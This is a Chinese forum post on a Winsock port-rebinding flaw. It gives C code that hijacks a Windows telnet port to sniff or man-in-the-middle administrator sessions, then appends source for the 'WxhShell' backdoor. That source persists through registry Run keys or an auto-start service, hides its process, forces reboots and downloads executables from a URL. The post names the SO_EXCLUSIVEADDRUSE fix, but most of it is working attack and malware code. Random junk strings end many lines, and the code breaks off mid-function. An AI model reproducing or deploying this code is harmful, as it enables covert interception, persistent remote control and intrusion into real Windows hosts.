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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5hz_P+Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oHsP?%U  
}]GbUC!Zb  
  saddr.sin_family = AF_INET; Efr3x{ j  
B5`;MQJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $W,zO|-  
}`]]b+_b>@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 61,O%lV  
- 0DZ::  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 AT ymKJ  
.vaJ Avg  
  这意味着什么?意味着可以进行如下的攻击: 3#mE( `|P  
\(bj(any  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {aIZFe}B  
Pz1G<eh#{g  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) A]xCF{*)&  
zq=&4afOE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 UN(3i(d  
8]]@S"ZM,\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  pN+I]NgQ  
xT=ySa$|>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %omu  
r0uJ$/!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8<c' x]~  
Q@Dkl F  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `u=oeM :  
N'a?wBBR  
  #include oX{@'B  
  #include //tT8HX  
  #include FE}s#n_Pd  
  #include    B G5X_s0/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )w3 ,   
  int main() Rdj8 *f  
  { cqjl5UB  
  WORD wVersionRequested; J@gm@ jLc  
  DWORD ret; 1 yJ75/  
  WSADATA wsaData; T+(M8 qb  
  BOOL val; n{$}#NdV  
  SOCKADDR_IN saddr; $r):d  
  SOCKADDR_IN scaddr; 0}D-KvjyP  
  int err; 7?,7TR2Ny  
  SOCKET s; L9$&-A9ix  
  SOCKET sc; Qxky^:B  
  int caddsize; 8XlU%a6x  
  HANDLE mt; y,V6h*x2  
  DWORD tid;   qL,ka  
  wVersionRequested = MAKEWORD( 2, 2 ); ETxp# PZ  
  err = WSAStartup( wVersionRequested, &wsaData ); `ReGnT[  
  if ( err != 0 ) { &M$Bt} <  
  printf("error!WSAStartup failed!\n"); Xout:dn  
  return -1; m|lM.]2_  
  } u?H@C)P  
  saddr.sin_family = AF_INET; df^0{gNHx  
   "A]?M<R  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;*nh=w  
 w"BIv9N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lS#7x h  
  saddr.sin_port = htons(23); *^uGvJXF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k?< i*;7  
  { '!AT  
  printf("error!socket failed!\n"); )=y.^@UT@  
  return -1; *q}FV2  
  } k{_1r;  
  val = TRUE; 40R"^*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gji*Wq  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~m!#FTc*  
  { p?}f|mQS)  
  printf("error!setsockopt failed!\n"); d3og?{i<}&  
  return -1; |y klT  
  } 1]Gf)|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ywmyr[Uh'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kp'b>&9r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )ni"qv~J  
Y$>+U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cD5w| rm?i  
  { X {#bJ  
  ret=GetLastError(); KuIkul9^%  
  printf("error!bind failed!\n"); Ih(:HFRMq6  
  return -1; fn3*2  
  } DE5d]3B  
  listen(s,2); 1X[ 73  
  while(1) =sxkrih  
  { I+*osk  
  caddsize = sizeof(scaddr); fdN45in=>  
  //接受连接请求 R_t~UTfI;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Yd[U  
  if(sc!=INVALID_SOCKET) [|y`y%  
  { ]U_5\$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )t*S 'R  
  if(mt==NULL) a:=q8Qy  
  { 5BrU'NF  
  printf("Thread Creat Failed!\n"); -)p@BtMS  
  break; f#*h^91x  
  } su,`q  
  } =g/4{IL%  
  CloseHandle(mt); r;c' NqP  
  } Qk?jGXB>^  
  closesocket(s); i:C.8hmAE  
  WSACleanup(); u wH)$Pl  
  return 0; MomLda V9Q  
  }   G%xb0%oi]%  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1R5Yn(  
  { =n> iQS  
  SOCKET ss = (SOCKET)lpParam; ` 52% XI  
  SOCKET sc; fx]\)0n  
  unsigned char buf[4096]; E%-Pyg*  
  SOCKADDR_IN saddr; 7bctx_W&6  
  long num; !y.ei1diw  
  DWORD val; Tm (Q@  
  DWORD ret;  aeEw#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~sZqa+jB0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Is4%}J!8  
  saddr.sin_family = AF_INET; :&xz5c`"04  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); { z-5GH|  
  saddr.sin_port = htons(23); $Sp*)A]E`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sjkWz2]S  
  { jjJc1p0  
  printf("error!socket failed!\n"); MDMtOfe|  
  return -1; ~%olCxfO  
  } Zkf 3t>[  
  val = 100; G> f^ 2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hubfK~  
  { _<u8%\  
  ret = GetLastError(); !F=|*j  
  return -1; (%``EIc<8  
  } p:DL:^zx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) + AE&GU  
  { *ge].E  
  ret = GetLastError(); [5>S-Z  
  return -1; L9E;Uii0  
  } >wz;}9v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) XkMs   
  { 8QkWgd7y  
  printf("error!socket connect failed!\n"); 4M;sD;3  
  closesocket(sc); 2rK-X_}  
  closesocket(ss); b@nri5noBm  
  return -1; d$2@,  
  } oUW )H  
  while(1) W?*Xy6",JF  
  { &"U9X"8b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ib5;f0Qa  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8m#}S\m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [}W^4,  
  num = recv(ss,buf,4096,0); -/ (DP x  
  if(num>0) {0NsDi>(2  
  send(sc,buf,num,0); LK'S)Jk  
  else if(num==0) XM$5S+e  
  break; "D ts*  
  num = recv(sc,buf,4096,0); Hmz=/.$  
  if(num>0) uM6CG0  
  send(ss,buf,num,0); @ A~B ,  
  else if(num==0) n/9 LRZD|w  
  break; yj}bY?4I  
  } 'Z*\1Ci  
  closesocket(ss); R-r+=x&  
  closesocket(sc); #~bU}[{  
  return 0 ; O:oU`vE  
  } J6*\>N5W  
T..N*6<X  
H(5S Kv5  
========================================================== 2ru*#Z#(  
ql#{=oGDnA  
下边附上一个代码,,WXhSHELL ]Ks]B2Osz  
TTA{#[=7  
========================================================== 8{}Pj  
"4Vi=*2V  
#include "stdafx.h" \N# HPrv}  
<;$Sa's,LE  
#include <stdio.h> ue6/EN;}  
#include <string.h> p^pQZ6-  
#include <windows.h> "K}W^J9v  
#include <winsock2.h> ,(@Y%UW:  
#include <winsvc.h> Ct =E;v7}  
#include <urlmon.h> 9[t]]  
yiv RpSL  
#pragma comment (lib, "Ws2_32.lib") j:rs+1bc  
#pragma comment (lib, "urlmon.lib") ;w>3,ub(0  
Hm+6QgCs  
#define MAX_USER   100 // 最大客户端连接数 C|.$L<`  
#define BUF_SOCK   200 // sock buffer |kBg8).B  
#define KEY_BUFF   255 // 输入 buffer g[=\KrTSg  
C,OB3y  
#define REBOOT     0   // 重启 ~,1-$#R  
#define SHUTDOWN   1   // 关机 i#@v_^q  
)E[ Q  
#define DEF_PORT   5000 // 监听端口 TRr4`y%  
)9A<fwpN  
#define REG_LEN     16   // 注册表键长度 + ,vJ7  
#define SVC_LEN     80   // NT服务名长度 {L-{Y<fke  
|*]X\UE  
// 从dll定义API F'?5V0\he  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ((RpT0rP\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D*d 3w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?j&~vy= T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gNEzlx8A  
T;:',T[G  
// wxhshell配置信息 0btmao-  
struct WSCFG { m &3HFf  
  int ws_port;         // 监听端口 Ru9pb~K  
  char ws_passstr[REG_LEN]; // 口令 ~u?x{[  
  int ws_autoins;       // 安装标记, 1=yes 0=no }Yo15BN+  
  char ws_regname[REG_LEN]; // 注册表键名 (zM+7tJH  
  char ws_svcname[REG_LEN]; // 服务名 XqE55Jclp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /_zF?5h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6,g5To#vw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |$.sB|_ N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y bn=Gy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9|G=KN)P:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <@x+N%C  
U"%8"G0)  
}; X('Q;^`  
0+2Matk>.  
// default Wxhshell configuration ]mO+<{{4X  
struct WSCFG wscfg={DEF_PORT, uc"[qT(X  
    "xuhuanlingzhe", COkLn)+0  
    1, HhQPgjZ/  
    "Wxhshell", PTI'N%W  
    "Wxhshell", *]>OCGsr  
            "WxhShell Service", F"@'(b  
    "Wrsky Windows CmdShell Service", -%/,j)VKD  
    "Please Input Your Password: ", V)?x*R*T)  
  1, !g8.8(/t)  
  "http://www.wrsky.com/wxhshell.exe", i/ O,`2  
  "Wxhshell.exe" 2fL88/'  
    }; %. 6?\w1e  
p-(ADQS  
// 消息定义模块 "'H7F ,k'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bbPd&7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eed\0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nE "b`  
char *msg_ws_ext="\n\rExit."; cnUU1Uz>  
char *msg_ws_end="\n\rQuit."; HU'`kimWb  
char *msg_ws_boot="\n\rReboot..."; |z<wPJ,;2  
char *msg_ws_poff="\n\rShutdown..."; DRmh(T  
char *msg_ws_down="\n\rSave to "; BI]ut |Qw  
&_%+r5  
char *msg_ws_err="\n\rErr!"; n`I jG  
char *msg_ws_ok="\n\rOK!"; n5,Pq+[  
I3E8vi%B.  
char ExeFile[MAX_PATH]; C;:1CK  
int nUser = 0; t+)GB=C  
HANDLE handles[MAX_USER]; WbDC  
int OsIsNt; OAnn`*5Up  
I#6' NZ  
SERVICE_STATUS       serviceStatus; RVKaqJ0e<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HI?~t| [y  
|s3HeY+Co  
// 函数声明 gZ=9Y:$  
int Install(void); 7!yF5 +_d  
int Uninstall(void); :;#}9g9  
int DownloadFile(char *sURL, SOCKET wsh); 2.&V  
int Boot(int flag); 3L!&~'.Ro  
void HideProc(void); L!8?2 \5  
int GetOsVer(void); Y  X{  
int Wxhshell(SOCKET wsl); AU?YZEAei  
void TalkWithClient(void *cs); KZ >"L  
int CmdShell(SOCKET sock); ;eEtdoy  
int StartFromService(void); u(G;57ms  
int StartWxhshell(LPSTR lpCmdLine); [6gHi.`p'  
,HO/Q6;N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); czsoD) N  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  F-\8f(\  
X'Il:SK  
// 数据结构和表定义 +n~rM'^4/  
SERVICE_TABLE_ENTRY DispatchTable[] = >`V|`Zi ?  
{ 7Hlh (k  
{wscfg.ws_svcname, NTServiceMain}, o?hw2-mH  
{NULL, NULL} 2F@<{v4  
}; {kO:HhUg  
3)MM5 b b$  
// 自我安装 F4{. 7BT  
int Install(void) $mg h.3z0  
{ A(sx5Ynp  
  char svExeFile[MAX_PATH]; <^c0bY1  
  HKEY key; eS%6 h U b  
  strcpy(svExeFile,ExeFile); `e;Sjf<  
[&k k  
// 如果是win9x系统,修改注册表设为自启动 #K*q(ei,7h  
if(!OsIsNt) { 0$h$7'a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w3|.4hS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y0C<b*!"ST  
  RegCloseKey(key); 8ewEdnE   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >oYwzK0&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vw@x  
  RegCloseKey(key); =y/ Lbe}:  
  return 0; 5{f/H] P  
    } 2Sd6b 2-  
  } KFG^vmrn  
} _IGa8=~  
else { XzFqQ- H  
BqAwo  
// 如果是NT以上系统,安装为系统服务 S5 vMP N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .ihn@eg  
if (schSCManager!=0) %pKs- n`  
{ =U|SK"oO  
  SC_HANDLE schService = CreateService `,=p\g|D  
  ( u<r('IW0  
  schSCManager, 6>7LFV1tvy  
  wscfg.ws_svcname, *Z(C' )7r  
  wscfg.ws_svcdisp, NGGd6V%'-  
  SERVICE_ALL_ACCESS, aV#;o9H{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XYVeHP!  
  SERVICE_AUTO_START, D)$k{v#~  
  SERVICE_ERROR_NORMAL, _ L6>4  
  svExeFile, KAEpFobYo  
  NULL, O3GaxM \x  
  NULL, =v"{EmT[$  
  NULL, bTKxv<  
  NULL, uT2cHzqKB  
  NULL oK[,xqyA  
  ); 2xm?,p`  
  if (schService!=0) jH/%Z5iu  
  { pDN,(Ip  
  CloseServiceHandle(schService); ur5n{0#  
  CloseServiceHandle(schSCManager); (G'ddZAJV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IMEoov-x  
  strcat(svExeFile,wscfg.ws_svcname); i<![i5uAI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Qp Vm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ai2}vR  
  RegCloseKey(key); 5n#&Hjb*F0  
  return 0; uf3 gVS_h=  
    } Ds/zl Z  
  } _CT|5wQF<  
  CloseServiceHandle(schSCManager); YZD]<ptR  
} yU`IyaazZ  
} >rGlj  
N|d@B{a(  
return 1; 1 crjRbi  
} 94/}@<d-=  
sIM`Q%  
// 自我卸载 1yf&ck1R  
int Uninstall(void) P0<uF`87  
{ RmCR"~   
  HKEY key; {)xrg sB  
uWQ.h ,  
if(!OsIsNt) { M,P_xkLp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kM@,^`&  
  RegDeleteValue(key,wscfg.ws_regname); ,.B8hr@H6-  
  RegCloseKey(key); >~ :]+q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ([A;~ p;n  
  RegDeleteValue(key,wscfg.ws_regname); a1&^P1.  
  RegCloseKey(key); u^$ CR  
  return 0; 2 r)c?  
  } =>U~ligu  
} EWi@1PAZK  
} L K$hV"SYb  
else { *@Z'{V\  
/ e,lD)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }#1{GhsS  
if (schSCManager!=0) xYq8\9Qb  
{ V^D#i(5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sQ$FtKm6  
  if (schService!=0) g$qh(Z_s  
  { K`sm  
  if(DeleteService(schService)!=0) { )/Vr 5b@  
  CloseServiceHandle(schService); b~p <   
  CloseServiceHandle(schSCManager); 1vr/|RWW  
  return 0; 0J" 3RTt  
  } <f%9w]  
  CloseServiceHandle(schService); r_",E=e  
  } JqO( ]*"Hi  
  CloseServiceHandle(schSCManager); Q] HRg4r  
} @QEV l  
} 9z?F_=PB!  
YZ}gZQ.A0  
return 1; ^/,s$dj  
} ,^(T^ -  
ME(!xI//JZ  
// 从指定url下载文件 {XAKf_Cg  
int DownloadFile(char *sURL, SOCKET wsh) -p 1arA  
{ XpGom;z^c  
  HRESULT hr; #KwFrlZ  
char seps[]= "/"; hf '3yEm  
char *token; 8CL05:&  
char *file; z t1Q_;  
char myURL[MAX_PATH]; CfAqMH*ip  
char myFILE[MAX_PATH]; ]PFc8qv{  
AxeWj%w@  
strcpy(myURL,sURL); er_aol e  
  token=strtok(myURL,seps); SaNx;xgi  
  while(token!=NULL) /[IK [  
  { 5]{YERa'  
    file=token; Au {`o xD  
  token=strtok(NULL,seps); E-/]UH3u H  
  } o8" [6Ys  
`yhL11 ]~  
GetCurrentDirectory(MAX_PATH,myFILE); I|.B-$gH  
strcat(myFILE, "\\"); 1)%o:Xy o  
strcat(myFILE, file); k;)L-ge9  
  send(wsh,myFILE,strlen(myFILE),0); (z[cf|he  
send(wsh,"...",3,0); D@Q|QY5qic  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YpWu\oP  
  if(hr==S_OK) .sLx6J%  
return 0; eRf 8'-"#-  
else &,\S<B2.  
return 1; hZpFI?lqc\  
9(C Ke,  
} l6O2B/2j  
`1P &  
// 系统电源模块 d&fENnt?h  
int Boot(int flag) sU`#d  
{ p%?R;W`u2  
  HANDLE hToken; N>/U%01a  
  TOKEN_PRIVILEGES tkp; 2]7nw1&  
29E^]IL?  
  if(OsIsNt) { Y-Z.AA,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8mV35A7l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Oz+>I ^Q  
    tkp.PrivilegeCount = 1; |OC6yN *P)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /g_}5s-Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rsP1?Hxq  
if(flag==REBOOT) { X<1# )xC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +pE-Yn`YS  
  return 0; )'qZ6%  
} SDot0`s>  
else { 4Fnr8 r8W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (j'[t  
  return 0; -JcfP+{wS  
} O=yUA AD$  
  } KQEnC`Nz  
  else { < B'BlqTS  
if(flag==REBOOT) { HK}C<gg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m:'fk;khN  
  return 0; 2cww7z/B  
} fHM<6i<C  
else { d/"e3S1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |n~- LH++  
  return 0; VPf=LSxJe  
} &'R\yX<J)  
} O)W1.]GMbf  
)4DF9JpD  
return 1; * c xYB  
} S25&UwUw  
M[SWMVN{  
// win9x进程隐藏模块 8E|S`I  
void HideProc(void) UE*M\r<  
{ @dw0oRF  
Z:5e:M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b]@^SN9  
  if ( hKernel != NULL ) )/Ul" QF  
  { q*52|?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RHeql*`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8M !If  
    FreeLibrary(hKernel); FL- sXg  
  } IE,xiV  
A=Dzd/CUO  
return; LLCMp3qBz  
} iku) otUc  
r6JdF!\d  
// 获取操作系统版本 p"3_u;cN  
int GetOsVer(void)  qauk,t  
{ hjs[$ ,1  
  OSVERSIONINFO winfo; Q`'w)aV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?X~Keb  
  GetVersionEx(&winfo); yKgA"NaM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9F@Q  
  return 1; @LqLtr@A  
  else xmsw'\  
  return 0; *+rO3% ;t  
} <S <@V?h  
C,HKao\  
// 客户端句柄模块 wgp{P>oBX  
int Wxhshell(SOCKET wsl) z^'3f!:3  
{ %dw@;IZ#8{  
  SOCKET wsh; ^U)xQD"  
  struct sockaddr_in client; ~QQi{92  
  DWORD myID; B=8],_  
H}Z\r2  
  while(nUser<MAX_USER) XmJu{RbS  
{ L/t'|<m  
  int nSize=sizeof(client); HN?NY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YEqZ((H  
  if(wsh==INVALID_SOCKET) return 1; /N>f#:}  
]rY:C "#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @|BaZq,g  
if(handles[nUser]==0) xy;u"JY*  
  closesocket(wsh); }V:ZGP#!'  
else js^+{~  
  nUser++; =Kqb V{!  
  } 2SVBuV/R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Vz[tgb]-  
}RvinF:5  
  return 0; -!4Mmp"2@u  
} KsVN<eR{  
dX^ ^ @7  
// 关闭 socket OpWTw&B"+  
void CloseIt(SOCKET wsh) gn,D9d+  
{ /zV&ebN]  
closesocket(wsh); v{tw;Z#  
nUser--; ^E-BB 6D  
ExitThread(0); apy9B6%PJ+  
} &puPn:_  
; D'6sd"  
// 客户端请求句柄 |0^~S  
void TalkWithClient(void *cs) Pnl+.?  
{ xfegi$  
we?# Dui  
  SOCKET wsh=(SOCKET)cs; ,#?iu?i/  
  char pwd[SVC_LEN]; Fw.df<  
  char cmd[KEY_BUFF]; -}:; EGUtd  
char chr[1]; n[+$a)$8  
int i,j; C6` Tck!  
05SK$ Y<<  
  while (nUser < MAX_USER) { :[\M|iAo  
z}.Q~4 f0D  
if(wscfg.ws_passstr) { ;+;%s D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?cur}`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $@utlIXA'  
  //ZeroMemory(pwd,KEY_BUFF); FHOF 6}if  
      i=0; 2e_m>I  
  while(i<SVC_LEN) { nY M2Vxi0+  
$Sls9H+.  
  // 设置超时 to,\sc  
  fd_set FdRead; cZR9rnZT  
  struct timeval TimeOut; +Z7:(o<  
  FD_ZERO(&FdRead); (baBi9<P=  
  FD_SET(wsh,&FdRead); [%LIW%t|  
  TimeOut.tv_sec=8; OrP i ("/  
  TimeOut.tv_usec=0; Ht4A   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;M<R e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X+7@8)1(  
)i/x%^ca$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _ ci8!PP  
  pwd=chr[0]; ssY5g !%  
  if(chr[0]==0xd || chr[0]==0xa) { \p.eY)>  
  pwd=0; 328gTP1  
  break; D;! aix3  
  } }}b &IA#  
  i++;  $*$X5  
    } a 8}!9kL  
1fMl8[!JLu  
  // 如果是非法用户,关闭 socket 01w}8a(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n?mV(?N  
} pq +~|  
/ n@by4;W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l1UN.l'p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $N/"c$50,  
~0V,B1a  
while(1) { A}W}H;8x  
W[B;;"ro  
  ZeroMemory(cmd,KEY_BUFF); x5(B(V@b  
|2!cPf^8  
      // 自动支持客户端 telnet标准   v5A8"&Jr  
  j=0; _>u0vGF-  
  while(j<KEY_BUFF) { 1X-fiQJe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W.m2`] &  
  cmd[j]=chr[0]; v=J[p;H^H  
  if(chr[0]==0xa || chr[0]==0xd) { |5g1D^b]s^  
  cmd[j]=0;  2p;N|V  
  break; DAVgP7h'  
  } J_7&nIH7  
  j++; ><w=  
    } Evt&N)l!^  
 aX}:O  
  // 下载文件 C^fUhLVSZ^  
  if(strstr(cmd,"http://")) { X;QhK] Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d: LP8  
  if(DownloadFile(cmd,wsh)) d)'J:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S*'  
  else j-(k`w\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E-i <^&E  
  } `kM:5f+>W  
  else { cIOM}/gqv  
[`U9  
    switch(cmd[0]) { ^nN@@ \-5  
  gaVQ3NqF  
  // 帮助 Ja%(kq[v  
  case '?': { aqoxj[V^3L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w<jlE8u  
    break; {Ax{N  
  } vJfj1 f  
  // 安装 vI0::ah/  
  case 'i': { U( (F<  
    if(Install()) :M9 E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bFwc>  
    else f{ER]U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u 4$$0 `  
    break; }1? 2  
    } @ZtDjxN &  
  // 卸载 yGX"1Fb?;x  
  case 'r': { <Kt;uu>  
    if(Uninstall()) CSNfLGA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MClvmv^  
    else |iGfWJ^+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9xM7X?  
    break; G !;<#|a  
    } G;yh$n<"  
  // 显示 wxhshell 所在路径 B,avI&7M;S  
  case 'p': { 2Pic4Z  
    char svExeFile[MAX_PATH]; /><+[\q4LM  
    strcpy(svExeFile,"\n\r"); a_amO<!   
      strcat(svExeFile,ExeFile); pipqXe  
        send(wsh,svExeFile,strlen(svExeFile),0); QTbv3#  
    break; m j@{hGP  
    } JVt(!%K}&  
  // 重启 >Qold7 M  
  case 'b': { %2z] 2@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g!.k>  
    if(Boot(REBOOT)) 0pl |  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U]W+ers  
    else { <imIgt|`2  
    closesocket(wsh); 1Aw/-FxJ  
    ExitThread(0); QX >Pni  
    } $*z>t*{7  
    break; f]37Xl%I  
    } iw?*Wp25  
  // 关机 $9Asr07  
  case 'd': { CH4 ~9mmE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oRQJ YH  
    if(Boot(SHUTDOWN)) a^QyYX}\qR  
